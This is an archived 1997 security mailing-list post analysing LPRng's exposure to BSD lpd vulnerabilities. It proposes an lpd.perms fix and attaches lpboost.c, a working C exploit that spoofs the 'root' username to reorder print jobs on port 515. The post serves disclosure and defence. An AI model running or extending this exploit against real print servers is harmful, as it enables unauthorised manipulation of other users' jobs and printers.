|
Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com |
LPRng security
Aleph One (aleph1
DFW.NET)Mon, 20 Oct 1997 19:48:38 -0500
- Messages sorted by: [ date ][ thread ][ subject ][ author ]
- Next message: Aleph One: "Sun Security Bulletin #00157"
- Previous message: Aleph One: "CERT Vendor-Initiated Bulletin VB-97.12 - opengroup"
This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mimedocserver.cac.washington.edu for more info. --hhlLboLdkugWU4S2 Content-Type: TEXT/PLAIN; CHARSET=us-ascii Content-ID: <Pine.SUN.3.94.971020194800.9833G
dfw.dfw.net> ---------- Forwarded message ---------- Date: Mon, 20 Oct 1997 14:54:15 +0200 From: Olaf Kirch <okir
monad.swb.de> To: linux-security
redhat.com Subject: [linux-security] LPRng security Hi all, I just looked into LPRng to see to what extent it is affected by the problems recently reported for the BSD lpd. It seems that it is fairly safe from those mentioned in the SNI advisory. > Problem 1: File creation > > Individuals with access to the line printer daemon from a privileged > port on a valid print client can tell lpd to create a file, providing > the name of the file, including directory names, is no longer than 5 > characters. LPRng checks that data and control file names conform to the spool file format: [cf]dNNNhostname, where hostname must contain only alphanumeric characters or "-_.". > Problem 2: File deletion > > Individuals with access to the line printer daemon from a privileged > port on a valid print client can tell lpd to remove any file on the > system. When given the U option, lpd checks that it follows a data file (e.g. f option), and that the names match. > Problem 3: Remote execution > > Individuals with access to the line printer daemon from a privileged > port on a valid print client can execute commands remotely as the > user which lpd is running as. This vulnerability can allow > interactive shell access to the remote system. The LPRng lpd purges all meta characters (everything but alphanums and "-_.
/:()=,+-% \t"), executes sendmail via execve, and does so under the daemon uid. As a consequence, you're not allowed to specify alternate config files etc. The only glitch is that, as daemon is usually trusted by sendmail, you're able to specify the sender address using the -f option (which makes it the most painful way of address spoofing I've come across:-). Also, LPRng permits only one M command per print job, so there's no way of mailbombing. There's a different security problem, at least in the default configuration shipped by Caldera, which is that lpd doesn't check for privileged ports by default, and blindly accepts any user name the lpr client provides. I'm including a small exploit to demonstrate this problem. It lets Joe User move any print job to the top of the print queue. To test it, it may be best to create a dummy printer, disable printing to it, and create some print jobs (by different users). Note that while this exploit is pretty harmless, other exploits (such as redirecting printers or circumventing the accounting system) are not. One way to fix that would be to restrict the the range of ports from which clients are permitted to connect by putting the following into /etc/lpd.perms (right before all other non-comment statements): REJECT SERVICE=X NOT PORT=512-1023 and stop and restart the printer daemon. Note that restricting the valid range of ports to 512-1023 also stops FTP bounce attacks (bounce attacks don't apply if you install the most recent wu-ftpd fix). However, this fails miserably since all lp clients are installed without suid root permissions (at least by Caldera). This seems to be a design decision made by the author. OTOH he has put a lot of work into the accounting stuff which is quite worthless if lpd can be spoofed that easily. Now, the lpr clients seem to work also with setuid enabled (and at first glance, setuid privileges seem to be handled quite carefully). We're currently looking into this. Anybody would like to share their experience with making LPRng setuid root? Cheers Olaf PS: Excercise to the reader:-) Problems like this can be solved using the SCM_CREDENTIALS stuff in 2.1.x kernels. Lpr can authenticate itself with the local lpd via a unix socket, and have lpd forward the job to the remote printer using a privileged port. Any takers? -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play okir
monad.swb.de | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax okir
caldera.com +-------------------- Why Not?! ----------------------- --hhlLboLdkugWU4S2 Content-Type: TEXT/PLAIN; CHARSET=us-ascii Content-ID: <Pine.SUN.3.94.971020194800.9833H
dfw.dfw.net> Content-Description: Print queue? What queue? /* * lpboost.c * * Simple exploit to demonstrate problem with PLP/LPRng user * `authentication': boost your print job's priority by moving it * to the top of the queue. * * This is the most harmless exploit of this problem. More serious * ones include circumvention of the accounting system, killing other * users' jobs, shutting down printers, redirecting them, etc. * * Copyright (C) 1997, Olaf Kirch <okir
lst.de> */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <string.h> #include <stdio.h> #include <unistd.h> #include <errno.h> static int doconnect(char *hostname); static void dosend(int fd, unsigned char ch, char *string); int main(int argc, char **argv) { char buffer[8192]; char hostbuf[256], *hostname = hostbuf; int fd; if (argc == 4) { hostname = argv[3]; } else if (argc != 3) { fprintf(stderr, "usage: lpboost <printer> <job> [hostname]\n"); exit(1); } else { /* If lpd.perms allows queue manipulation only from * the local host (SERVER keyword), must use FQDN * rather than localhost (127.0.0.1) */ gethostname(hostbuf, sizeof(hostbuf)); } if ((fd = doconnect(hostname)) < 0) { fprintf(stderr, "Failed to connect to %s: %s\n", hostname, strerror(errno)); exit(1); } /* Assemble control message */ sprintf(buffer, "%s %s topq %s %s", argv[1], /* printer */ "root", /* user */ argv[1], /* printer */ argv[2]); /* job # */ /* Transmit control message and pick up status */ dosend(fd, 6, buffer); exit (0); } static int doconnect(char *hostname) { struct hostent *hp; struct sockaddr_in sin; int fd; if (!(hp = gethostbyname(hostname))) { fprintf(stderr, "%s: unknown host\n", hostname); exit(1); } memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_addr = *(struct in_addr *) hp->h_addr; sin.sin_port = htons(515); if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { perror("socket"); exit(1); } if (connect(fd, (struct sockaddr *) &sin, sizeof(sin)) < 0) { perror("connect"); exit(1); } return fd; } static void dosend(int fd, unsigned char ch, char *string) { char buffer[256], cr = '\n'; int slen = string? strlen(string) : 0; if (write(fd, &ch, 1) != 1 || (string && (write(fd, string, slen) != slen || write(fd, &cr, 1) != 1))) { perror("write"); exit(1); } while ((slen = read(fd, buffer, sizeof(buffer)-1)) > 0) { buffer[slen] = '\0'; fprintf(stderr, "lpd: %s\n", buffer); } if (slen == 0 || errno == EPIPE) return; perror("read (errmsg)"); exit(1); } --hhlLboLdkugWU4S2--
- Next message: Aleph One: "Sun Security Bulletin #00157"
- Previous message: Aleph One: "CERT Vendor-Initiated Bulletin VB-97.12 - opengroup"